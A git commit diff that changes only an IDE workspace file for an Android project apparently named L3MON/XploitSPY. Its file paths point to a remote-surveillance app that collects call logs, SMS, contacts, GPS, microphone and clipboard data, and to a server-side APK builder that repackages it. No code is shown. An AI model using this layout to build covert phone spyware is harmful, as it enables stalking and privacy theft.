Tweaks to run when screen is off

This commit is contained in:
ChrisStone07 2020-01-20 03:15:32 +05:30
parent 9d0b9d318c
commit 738ce7461d
17 changed files with 281 additions and 312 deletions

View File

@ -22,217 +22,21 @@
</component>
<component name="ChangeListManager">
<list default="true" id="64c00a71-a44b-49ea-9615-52bf78f9491f" name="Default Changelist" comment="">
<change afterPath="$PROJECT_DIR$/../.gitignore" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../LICENSE.md" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../README.md" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/apk_builder.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/call_log.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/clipboard.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/contacts.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/devices.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/downloads.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/event_log.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/file_explorer.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_log.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_now.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/gps_settings.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/installed_apps.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/login.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/microphone.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/notification_log.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/permissions.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/sms_log.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/sms_send.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../Screenshots/wifi_manager.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.bin" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileChanges/last-build.bin" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileContent/fileContent.lock" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/resourceHashesCache.bin" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/gc.properties" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/classAnalysis.bin" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/cache.properties" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.gradle/vcs-1/gc.properties" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/codeStyles/Project.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/encodings.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/gradle.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_core_common_1_1_1_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_common_1_1_1_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__android_arch_lifecycle_runtime_1_1_1_aar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_collections_28_0_0_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_annotations_28_0_0_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_support_compat_28_0_0_aar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_core_2_2_2_aar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_espresso_espresso_idling_resource_2_2_2_aar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_exposed_instrumentation_api_publish_0_5_aar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_rules_0_5_aar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_test_runner_0_5_aar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_android_support_versionedparcelable_28_0_0_aar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_google_code_findbugs_jsr305_2_0_1_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_javawriter_2_1_1_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_okhttp3_okhttp_3_5_0_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__com_squareup_okio_okio_1_11_0_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__io_socket_engine_io_client_0_8_3_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__io_socket_socket_io_client_0_8_3_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__javax_annotation_javax_annotation_api_1_2_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__javax_inject_javax_inject_1_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__junit_junit_4_12_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_core_1_3_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_integration_1_3_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/libraries/Gradle__org_hamcrest_hamcrest_library_1_3_jar.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/misc.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/modules.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/runConfigurations.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/vcs.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/.gitignore" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/app.iml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/build.gradle" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/proguard-rules.pro" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/release/app-release.apk" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/release/output.json" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/AndroidManifest.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/values-w820dp/dimens.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/colors.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/dimens.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/strings.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/app/src/main/res/values/styles.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/build.gradle" afterDir="false" />
<change afterPath="$PROJECT_DIR$/client.iml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/gradle.properties" afterDir="false" />
<change afterPath="$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.jar" afterDir="false" />
<change afterPath="$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.properties" afterDir="false" />
<change afterPath="$PROJECT_DIR$/gradlew" afterDir="false" />
<change afterPath="$PROJECT_DIR$/gradlew.bat" afterDir="false" />
<change afterPath="$PROJECT_DIR$/local.properties" afterDir="false" />
<change afterPath="$PROJECT_DIR$/settings.gradle" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/apktool.jar" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/app-release.apk" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/AndroidManifest.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/apktool.yml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/AndroidManifest.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/classes.dex" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout-v17/activity_main.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/layout/activity_main.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/build/apk/resources.arsc" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/AndroidManifest.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.RSA" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/CERT.SF" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/original/META-INF/MANIFEST.MF" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/layout-v17/activity_main.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/layout/activity_main.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/colors.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/dimens.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/ids.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/public.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/strings.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/res/values/styles.xml" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MainService.smali" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/MyReceiver.smali" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/NotificationListener.smali" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/decompiled/smali/com/remote/app/ServiceReciever.smali" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/testkey.pk8" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/testkey.x509.pem" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/app/factory/uber-apk-signer-1.1.0.jar" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/builder.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManager.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/apps.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/call_log.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/clipboard_log.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/contacts.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/deviceNotFound.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/downloads.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/file_manager.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/gps.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/info.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/microphone.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/noPage.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/notification_log.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/permissions.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/sms_manager.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/deviceManagerPages/wifi_manager.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/index.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/login.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/logs.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/deviceManagerMenu.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/footer.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/head.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/views/partials/header.ejs" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build-aligned-signed.apk" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build.apk" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/build.s.apk" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/client_downloads/blank" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.css" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.css.map" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/custom.scss" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/layers-2x.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/layers.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-icon-2x.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-icon.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/images/marker-shadow.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/leaflet.css" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/semantic.min.css" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/snackbar.min.css" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.eot" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.svg" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.ttf" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.woff" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/brand-icons.woff2" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.eot" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.otf" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.svg" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.ttf" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.woff" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/icons.woff2" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.eot" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.svg" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.ttf" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.woff" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/fonts/outline-icons.woff2" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/css/themes/default/assets/images/flags.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/jquery-3.4.1.min.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/leaflet.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/main.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/semantic.min.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/js/snackbar.min.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/assets/webpublic/logo.png" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/clientData/blank" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/includes/apkBuilder.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/includes/clientManager.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/includes/const.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/includes/databaseGateway.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/includes/expressRoutes.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/includes/logManager.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/index.js" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/maindb.json" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/package-lock.json" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../server/package.json" afterDir="false" />
<change afterPath="$PROJECT_DIR$/../xwizer.jks" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.bin" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/executionHistory/executionHistory.lock" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.bin" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/fileHashes/fileHashes.lock" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/javaCompile.lock" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/5.1.1/javaCompile/taskHistory.bin" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/buildOutputCleanup.lock" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" beforeDir="false" afterPath="$PROJECT_DIR$/.gradle/buildOutputCleanup/outputFiles.bin" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/caches/build_file_checksums.ser" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/caches/gradle_models.ser" afterDir="false" />
<change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
<change beforePath="$PROJECT_DIR$/app/app.iml" beforeDir="false" afterPath="$PROJECT_DIR$/app/app.iml" afterDir="false" />
<change beforePath="$PROJECT_DIR$/app/build.gradle" beforeDir="false" afterPath="$PROJECT_DIR$/app/build.gradle" afterDir="false" />
<change beforePath="$PROJECT_DIR$/app/release/app-release.apk" beforeDir="false" afterPath="$PROJECT_DIR$/app/release/app-release.apk" afterDir="false" />
<change beforePath="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" beforeDir="false" afterPath="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" afterDir="false" />
</list>
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
<option name="SHOW_DIALOG" value="false" />
@ -240,9 +44,6 @@
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
<option name="LAST_RESOLUTION" value="IGNORE" />
</component>
<component name="CodeInsightWorkspaceSettings">
<option name="optimizeImportsOnTheFly" value="true" />
</component>
<component name="DefaultGradleProjectSettings">
<option name="isMigrated" value="true" />
</component>
@ -256,30 +57,15 @@
</component>
<component name="FileEditorManager">
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
<file pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="414">
<caret line="48" column="34" selection-start-line="48" selection-start-column="34" selection-end-line="48" selection-end-column="34" />
</state>
</provider>
<provider editor-type-id="android-manifest" />
</entry>
</file>
<file pinned="false" current-in-tab="true">
<entry file="file://$PROJECT_DIR$/app/build.gradle">
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
<provider selected="true" editor-type-id="text-editor">
<state relative-caret-position="289">
<caret line="17" column="30" selection-start-line="17" selection-start-column="30" selection-end-line="17" selection-end-column="30" />
<state relative-caret-position="68">
<caret line="8" column="15" selection-start-line="8" selection-start-column="13" selection-end-line="8" selection-end-column="21" />
</state>
</provider>
</entry>
</file>
<file pinned="false" current-in-tab="false">
<entry file="file://$PROJECT_DIR$/build.gradle">
<provider selected="true" editor-type-id="text-editor" />
</entry>
</file>
</leaf>
</component>
<component name="FindInProjectRecents">
@ -315,12 +101,17 @@
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MyReceiver.java" />
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
<option value="$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
<option value="$PROJECT_DIR$/app/build.gradle" />
<option value="$PROJECT_DIR$/app/src/main/AndroidManifest.xml" />
<option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/ServiceReciever.java" />
<option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/AndroidManifest.xml" />
<option value="$PROJECT_DIR$/../../L3MON/client/app/src/main/java/com/remote/app/MainService.java" />
<option value="$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java" />
<option value="$PROJECT_DIR$/../../L3MON/client/app/build.gradle" />
<option value="$PROJECT_DIR$/app/build.gradle" />
</list>
</option>
</component>
<component name="ProjectFrameBounds" extendedState="7">
<component name="ProjectFrameBounds" extendedState="6">
<option name="x" value="490" />
<option name="y" value="-10" />
<option name="width" value="790" />
@ -332,8 +123,8 @@
<foldersAlwaysOnTop value="true" />
</navigator>
<panes>
<pane id="ProjectPane" />
<pane id="Scope" />
<pane id="PackagesPane" />
<pane id="AndroidView">
<subPane>
<expand>
@ -341,6 +132,22 @@
<item name="client" type="1abcf292:AndroidViewProjectNode" />
<item name="app" type="feadf853:AndroidModuleNode" />
</path>
<path>
<item name="client" type="1abcf292:AndroidViewProjectNode" />
<item name="app" type="feadf853:AndroidModuleNode" />
<item name="manifests" type="f94875db:AndroidManifestsGroupNode" />
</path>
<path>
<item name="client" type="1abcf292:AndroidViewProjectNode" />
<item name="app" type="feadf853:AndroidModuleNode" />
<item name="java" type="edd41e36:AndroidSourceTypeNode" />
</path>
<path>
<item name="client" type="1abcf292:AndroidViewProjectNode" />
<item name="app" type="feadf853:AndroidModuleNode" />
<item name="java" type="edd41e36:AndroidSourceTypeNode" />
<item name="app" type="cbb59c9e:AndroidPsiDirectoryNode" />
</path>
<path>
<item name="client" type="1abcf292:AndroidViewProjectNode" />
<item name="Gradle Scripts" type="ae0cef3a:AndroidBuildScriptsGroupNode" />
@ -349,20 +156,21 @@
<select />
</subPane>
</pane>
<pane id="ProjectPane" />
<pane id="PackagesPane" />
</panes>
</component>
<component name="PropertiesComponent">
<property name="ExportApk.ApkPath" value="C:\Users\Chris\Documents\Private\L3MON\client\app" />
<property name="ExportApk.ApkPath" value="C:\Users\Chris\Documents\Private\XploitSPY\client\app" />
<property name="ExportApk.BuildVariants" value="release" />
<property name="ExportApk.SignV1" value="true" />
<property name="SHARE_PROJECT_CONFIGURATION_FILES" value="true" />
<property name="android.sdk.path" value="$USER_HOME$/AppData/Local/Android/Sdk" />
<property name="device.picker.selection" value="8fad6827" />
<property name="last_opened_file_path" value="$PROJECT_DIR$/../xwizer.jks" />
<property name="last_opened_file_path" value="$PROJECT_DIR$/app" />
<property name="project.structure.last.edited" value="Dependencies" />
<property name="project.structure.proportion" value="0.17" />
<property name="project.structure.side.proportion" value="0.2" />
<property name="settings.editor.selected.configurable" value="editor.preferences.import" />
</component>
<component name="PsdUISettings">
<option name="LAST_EDITED_BUILD_TYPE" value="release" />
@ -507,12 +315,6 @@
</breakpoint-manager>
</component>
<component name="editorHistoryManager">
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/styles.xml">
<provider selected="true" editor-type-id="text-editor" />
</entry>
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/colors.xml">
<provider selected="true" editor-type-id="text-editor" />
</entry>
